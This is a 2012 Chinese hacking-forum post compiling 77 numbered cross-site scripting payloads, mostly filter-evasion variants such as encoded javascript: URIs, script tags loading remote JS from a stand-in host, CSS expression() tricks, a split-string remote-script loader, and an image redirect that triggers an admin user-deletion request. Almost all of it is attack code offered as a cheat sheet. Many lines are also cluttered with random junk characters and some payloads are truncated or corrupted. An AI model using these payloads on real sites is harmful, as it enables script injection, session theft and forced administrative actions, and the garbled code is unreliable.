找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3737|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。/ k2 j- p9 \0 T% L5 W$ c& ^2 y
. n8 R$ X" D* \7 f
(1)普通的XSS JavaScript注入! i4 l* a- }; [/ ?! P& J6 T  P0 V
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>1 J- V- s* Y! U6 r, ?- O( w- B% p
8 u3 }. A& M- y, H% G
(2)IMG标签XSS使用JavaScript命令0 y3 J: p( h* n* S" T+ b3 J
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# U% ^9 s% {: [0 f% s+ N" J* q4 }5 k+ n1 ?7 O" t2 b+ U
(3)IMG标签无分号无引号- y: j# L* E' T  N  N- U
<IMG SRC=javascript:alert(‘XSS’)>  O+ z6 q, C) G

6 B' S! y+ k! T5 q" R& l! U (4)IMG标签大小写不敏感4 S4 z$ a9 H$ c! \
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>! `: X8 R3 g% d+ Q
* r$ Z( T& h7 w1 y1 N1 G4 {7 S' E
(5)HTML编码(必须有分号)
! Y+ Q2 C/ N4 o( A* Q7 ` <IMG SRC=javascript:alert(“XSS”)>
6 O! _! P7 |& j3 g4 g; f
+ `' @) o8 `1 V" u' A, Q2 X (6)修正缺陷IMG标签. X6 M& t# r6 S( ?& u
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
% K7 Z  [6 F. W7 i# x  ^0 z7 P" e/ c: P: I; W
(7)formCharCode标签(计算器)/ @4 h9 ~0 i: j) E+ z1 l
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>9 h' B+ s4 n5 D/ K

* g# G4 j; ~6 L8 q; u  ? (8)UTF-8的Unicode编码(计算器)
3 h! v& H. q& `: ?- q8 r4 _- g8 _$ y <IMG SRC=jav..省略..S')>; V# x6 Y* i5 d; ?# n( |' ~

! O' Z! r( r2 e! v' _5 ~. o* A" o (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
: w& M! t/ g4 [ <IMG SRC=jav..省略..S')>1 e9 T; r7 W* Q

  N8 s& [, G! D! g, H- H' ^- O: D7 @  \ (10)十六进制编码也是没有分号(计算器)
  {5 _1 f& n7 `9 P, O+ [6 x <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
: T- u4 g' L8 A) @/ t! `  l& ]* W$ W2 d. l' _. i- y) I; @, D8 V8 E
(11)嵌入式标签,将Javascript分开
; t, L) ^- p! ~) d2 G* q <IMG SRC=”jav ascript:alert(‘XSS’);”>
$ F2 O9 V" M8 q, `1 P) T$ [4 j" i4 @% N) g' n- H6 D
(12)嵌入式编码标签,将Javascript分开6 R  {! d- ~7 Y3 u4 d
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ X# E; w: H8 v5 M& _% V. U; T2 X
/ O+ D! O+ h1 M# D% W7 H& f2 p) b& G
(13)嵌入式换行符
% g( Z/ S8 z4 e! k# b0 `# o <IMG SRC=”jav ascript:alert(‘XSS’);”>
$ r. A. p$ f/ i
: w+ T% A" Q' ^7 |. }0 S: c* v (14)嵌入式回车
% y2 T6 S% M9 }% z. _ <IMG SRC=”jav ascript:alert(‘XSS’);”>- P2 p4 c1 h6 {" N" e

+ Z2 Y8 \* }4 m7 x' ?5 ~ (15)嵌入式多行注入JavaScript,这是XSS极端的例子1 }/ G" `+ g$ Y; ~/ ~* t. R  t
<IMG SRC=”javascript:alert(‘XSS‘)”>
/ u" c# q5 R7 R; _, E0 B( j; D9 _- u; J
(16)解决限制字符(要求同页面)3 ?7 d, f" Y$ \4 o
<script>z=’document.’</script>
3 o" ]) t* w- b( K! J2 n# A <script>z=z+’write(“‘</script>$ U) B- q/ X- t/ D$ h: R0 t; f% j
<script>z=z+’<script’</script>- ~) Y$ l1 {, _$ i
<script>z=z+’ src=ht’</script>
- f8 w5 v" D0 F <script>z=z+’tp://ww’</script>
! Y6 m7 C1 N+ W- ^) I3 p( ^" b <script>z=z+’w.shell’</script>
3 l, c# l+ L" X! T" D5 a <script>z=z+’.net/1.’</script>
4 o! L+ I* W+ V# @4 g, F <script>z=z+’js></sc’</script>
( d0 o/ S4 I; ?5 v/ z9 G/ p <script>z=z+’ript>”)’</script>
( ~, a4 Y7 Q: q- o <script>eval_r(z)</script>- f- L! H" H( _6 f$ _/ J
% ~8 Y2 ]' [6 A' F
(17)空字符& }7 L% r8 ]0 @' W6 O
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out4 g  z* V- k9 U8 m
7 w) R& j1 \; U
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用* T( S2 [; w$ I! I! ?( I0 V" u
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
& F) [+ ]6 {: E7 `" g$ c& p% X5 }2 N( }% Y! z6 P1 r$ i3 D
(19)Spaces和meta前的IMG标签" U& w- u  w1 U. J) f0 T; g
<IMG SRC=”   javascript:alert(‘XSS’);”>
2 U+ h/ m5 H9 Q& @( |% r
% U$ @* u% x+ X  b- g- ] (20)Non-alpha-non-digit XSS. z  X# A6 e% D" {: ?
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
% ]: h5 X" }5 w7 g7 K9 k+ n' A
3 P6 s3 c: x5 P7 r8 ~0 a; E2 t$ _ (21)Non-alpha-non-digit XSS to 2& D  p2 O, a& h5 x
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>4 N0 J* I1 r) f& t# d5 [. x* M& U
- \2 r- C6 ?6 `, l4 S
(22)Non-alpha-non-digit XSS to 3
+ W5 g) |% K- G* [ <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
* o. p' _. a3 H& |2 ^
1 E" L; F8 F! }- z* z: ^ (23)双开括号) \- J# @1 f% X
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( b1 g, A. Q1 S3 ?$ s- a6 D
7 O5 |9 C* {& ]5 b: d9 p (24)无结束脚本标记(仅火狐等浏览器)* v3 y& _7 y% M" g
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ Y; T+ ~4 q) F5 H  a1 I4 e' d, o% X# g( g$ K
(25)无结束脚本标记2
, I3 I. M' A3 V3 y- E9 O- o* r <SCRIPT SRC=//3w.org/XSS/xss.js>
! R! e& T2 D) a- _! w( }0 s/ a7 \( n( j0 l2 `+ _& ]
(26)半开的HTML/JavaScript XSS
1 z; Q! v0 v0 E" d- k  M <IMG SRC=”javascript:alert(‘XSS’)”
3 x+ k: ^6 ?0 w9 _4 s0 x# T; s" q' p
(27)双开角括号
5 b: O+ t/ C, s <iframe src=http://3w.org/XSS.html <  _1 b- m+ Q( O+ g4 g

: I( w' {9 P7 H7 Y# [# f. R; a1 T (28)无单引号 双引号 分号
$ X+ W5 d' b) _& N6 l <SCRIPT>a=/XSS/
0 E2 G' B* x" t! Y* F# y+ V alert(a.source)</SCRIPT>
9 S- b( K& k  D. R  y2 _9 \5 V) g: @% N. ?% d5 Y
(29)换码过滤的JavaScript
  }% a8 d- C' _ \”;alert(‘XSS’);//% p  _  q5 @5 {$ y) N# |
- [! V) ?* X, T. b7 ?( m0 `
(30)结束Title标签6 i; V# l' I- g! \
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
. {: X* _$ F( a5 D* I1 Q
0 c% P/ Q0 o0 o8 d- u, J (31)Input Image
4 k7 Z3 x- [: D) i0 x9 h# ? <INPUT SRC=”javascript:alert(‘XSS’);”>
* m) C' v1 R8 a& S/ l( x# O7 @( s
+ c$ K9 Q3 A6 ]" g (32)BODY Image# d& Q" C' d5 E7 ~
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
  O6 t7 ^* e# }0 u2 m
8 Y/ w/ F* ]- g7 o- J2 e1 M' r (33)BODY标签
: t" B5 J8 p: @% z- l) j# E# R <BODY(‘XSS’)>8 @9 K# m1 w0 }4 r6 U6 u8 ^

8 c( r/ Z9 |7 `3 [7 m( _: [$ _ (34)IMG Dynsrc
' E, f. |) H( u; h8 k3 j <IMG DYNSRC=”javascript:alert(‘XSS’)”>
5 I* z# e; [8 [% o! {. ~) T6 w& ^8 a- W0 [
(35)IMG Lowsrc
" @  d' P+ K" g! |& b( @ <IMG LOWSRC=”javascript:alert(‘XSS’)”>
! V$ a. d- \2 `. g" Y, S
9 u4 |' s) }: a( [" C* C/ t (36)BGSOUND7 b2 q5 {/ L( v9 t$ c- K
<BGSOUND SRC=”javascript:alert(‘XSS’);”>- c5 `2 ~- d. c% Z; r
$ {( c; ]- A9 u9 y! D2 {# t2 X
(37)STYLE sheet! [7 Z4 q2 b, y. L/ v/ ~. U/ m+ O
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>8 W( i, F. t6 b" t9 I1 E* Y
3 }* N* w- G: a( A& D; _5 Y" W
(38)远程样式表
* q* z4 m6 G% @/ _1 O' O <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>0 D2 w8 f& ?# s) T7 t. w4 B( R9 Y

0 ^% D! H0 k4 I, n5 e0 m (39)List-style-image(列表式)- F" P6 a- N8 ?/ I# B5 Q
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS1 s" s2 o. B: c6 J: n& J: W
; B7 {2 S0 }' |1 S' S( B
(40)IMG VBscript
- e% H  w1 c2 v" r4 A. U' q3 d/ c <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS4 d+ \, c: z3 k3 f8 p
6 L  E$ P5 R; e. Y: [
(41)META链接url8 g  E( T! w: ~$ U( ]7 F' C8 v* E
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”># }7 G5 L: ?* ?! F  P3 V  s

* }. v5 m6 |! i, j; r* b (42)Iframe
( W- q8 e) V: @6 M% A. J# x. g <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
$ L; n) p1 }4 i- c6 J; u4 t( t* h) P* {: F  m, g  O2 N
(43)Frame7 d" G6 ]  \6 P5 F8 z" H
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
6 {: P' v- d$ K0 ~3 U$ a
2 Y, D2 W$ V: |' y3 E0 W (44)Table+ D: i5 N; @. @' r% n8 k
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
3 ?) N4 q) u( Z  o, r4 D! N4 v
( Z3 @8 p! u9 N1 u) [; Y& s# h (45)TD3 S; I" Y: z. B8 M* x% ^# l& P
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
6 `) S0 {% A) P( S- D- K  M
2 f: P0 |& P. [/ o: @) N# t/ U) g (46)DIV background-image
: o9 z1 Q  c9 S5 T, t <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
: F5 E, A. U4 M. `% X; l$ O- U
" |! M# L3 [; @0 E (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)4 d. Z1 \% K" G! Y/ r
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>' g" O3 s& L: d7 g1 M- G$ Z

0 y& ~4 ]% J* p5 ? (48)DIV expression5 d3 p$ O- b1 T9 O- }
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>9 Q* E8 Y: c% e( }- U9 z% ^

6 U. N/ ]! ?3 z* k2 n4 H (49)STYLE属性分拆表达
) t( ]  c, g% r; |8 Z) }) g' Q <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
/ k! H1 [% j/ a1 d' ~3 R+ _
. t1 B) ~1 ^* E/ V" `; z6 I (50)匿名STYLE(组成:开角号和一个字母开头)* [2 q# }/ o+ ?' V+ s: J3 N3 H6 I
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>/ u: s, C. a& @3 J/ O

) y$ k) E) w5 J4 U2 h5 C (51)STYLE background-image- X; W. m1 M- w+ t1 Z
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>/ n% |9 d& j/ ?2 N
4 S9 @  `6 k( \3 y5 H' c, g/ v
(52)IMG STYLE方式9 H1 n/ U  `$ `7 r% V+ Q9 b$ d
exppression(alert(“XSS”))’>
+ {% b% v% I0 H+ f) Z$ v  N% p$ m6 C0 D
(53)STYLE background( d/ q1 B2 D6 A5 I9 W1 S+ s
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>. k/ g7 A5 \7 @8 Q5 v* P% w! z
0 ]9 n" u1 V' a4 l2 ?% H+ W
(54)BASE7 F/ `: W; g) P# A3 ~
<BASE HREF=”javascript:alert(‘XSS’);//”>; q4 E% h) S2 d0 ?7 M, L

4 w7 N; S# C) R- A- e- e2 r (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
% ]. y, o% J5 h- u" L0 x3 a <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>& r. `: k, u& E3 G7 u  k9 C7 ^

. ~+ A% c4 w+ @, I3 @9 Q (56)在flash中使用ActionScrpt可以混进你XSS的代码  b8 G5 j3 q5 ~  C6 Q  h
a=”get”;) [# y* t4 |3 i5 u
b=”URL(\”";
3 g: c! X$ T2 y1 D, _ c=”javascript:”;9 W- R3 f) ^: K
d=”alert(‘XSS’);\”)”;
2 ^% [% K/ q6 c0 r4 s7 P- J eval_r(a+b+c+d);
3 \; V( ]5 p& ]% ]1 F; O: O% b- c
. e) }% _& O: l8 P% {; B$ E (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
( u# D+ a! u; V% h7 c$ F <HTML xmlns:xss>
7 O2 Y  S: _. x <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
; A! v% t' x0 v* n6 M5 ]6 e# h <xss:xss>XSS</xss:xss>* M* r8 S9 X$ k; D  R/ p
</HTML>
6 Y% ]7 L$ Y$ Z7 J  |1 h, F' n0 U+ Z( t0 F  A; u
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用7 f" L$ W' @* n$ j! ?& Z
<SCRIPT SRC=””></SCRIPT>4 i! N. i. q3 k1 z' X

# g4 I& ~; p5 {& v (59)IMG嵌入式命令,可执行任意命令) w% c" u  y: K: F- q
<IMG SRC=”http://www.XXX.com/a.php?a=b”>! o! A* F2 p; Y4 d8 p" |
' Q, U/ F  w1 q6 m- v2 l1 m
(60)IMG嵌入式命令(a.jpg在同服务器)
* H" p& a2 U0 l# c; [ Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser# d$ B, K' Z4 i8 ~
" l2 l; `% t* n( t
(61)绕符号过滤
# m' X0 p% P* k; F7 t, |- F2 @ <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
& B+ b: B; Y% U5 c7 o2 G$ n5 I& y) a. n
(62)& \% d/ A7 Z8 z
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
0 H& @0 o' ]! t4 @
( ]! ]7 |$ Z. z7 d+ }+ V (63)3 y* B4 a  D$ g5 T8 J. V' T
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>& T) t0 m) u/ t2 m: ^: I5 i3 t

5 ?, Y0 x' `9 L' Q3 ` (64)
$ M- N3 G4 N; Y' d: I) ^/ t7 ^) s! ? <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
( v. N  m" n5 W% U8 X6 l7 T+ y
0 w3 }, n7 k( N* g. y  f: r/ @$ g (65)
- W/ b% c- t! ?  Q& e% w! E% l: Q <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>7 [1 _  @2 Y7 N( _

* s$ k$ {4 f, {4 M (66)' M7 y# E* B- }
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>: {6 e0 i* \$ n; [2 l

8 {5 C; M* c" e* o! b# g" k (67)
# _: `9 B7 `8 Z5 ?1 A5 X4 L7 V+ A <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>* g+ u6 a: V7 ~" L0 z& v  p6 d0 Z
- @5 n3 T* z' B* P
(68)URL绕行
8 c/ h% x; J( h! g <A HREF=”http://127.0.0.1/”>XSS</A>3 W! s' t% b, x9 Q5 `+ X

( U5 Q) z8 M3 O# i" T- B+ S. Y# q (69)URL编码
/ b: A$ M! x$ q* r* D: X! v <A HREF=”http://3w.org”>XSS</A>: L! G* X9 X3 Q* }& y, K" P  t2 z
  b  X7 ]  R8 x( w: b+ U
(70)IP十进制
4 I0 G6 e! e9 p# T. Y0 U <A HREF=”http://3232235521″>XSS</A>0 B6 e- ]4 Q4 W
+ Z7 [6 b& o3 }& Y
(71)IP十六进制6 x! e. m  m! U( y8 {5 W" c
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>- F  x% O1 V! T1 @* V* f/ @

, V0 j3 }" }$ y+ k" l (72)IP八进制
8 {) ^6 L- Q; C% ] <A HREF=”http://0300.0250.0000.0001″>XSS</A>
) v% l- g5 ^8 i) y( K3 C3 |) o" F4 ^/ ^- Y" T0 h
(73)混合编码
5 F  o- n% D) _9 R3 M <A HREF=”h9 |7 l; g2 M0 c
tt p://6 6.000146.0×7.147/”">XSS</A>* L. v8 |4 H' N8 @& u6 T) d
0 V; B7 v: d$ h, C
(74)节省[http:]
- }. q* E4 X9 `* Z0 m( ~" v* @ <A HREF=”//www.google.com/”>XSS</A>9 Z) J- ], A& d

5 p# }$ Q0 |9 M (75)节省[www]: G' {! x0 B7 v% x: E* @& i
<A HREF=”http://google.com/”>XSS</A>- u* N7 h! c( s) ]: ]+ F- m
7 Z2 P2 x4 R2 G! Z. x0 \. a* L
(76)绝对点绝对DNS! t9 I. E/ z7 [9 |9 f
<A HREF=”http://www.google.com./”>XSS</A>. Q% }* v) y9 B1 n# h1 d7 `$ c
8 ~9 t7 N2 h( \% R9 s" M
(77)javascript链接' V+ `% `* b% E. s0 h3 A) f
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表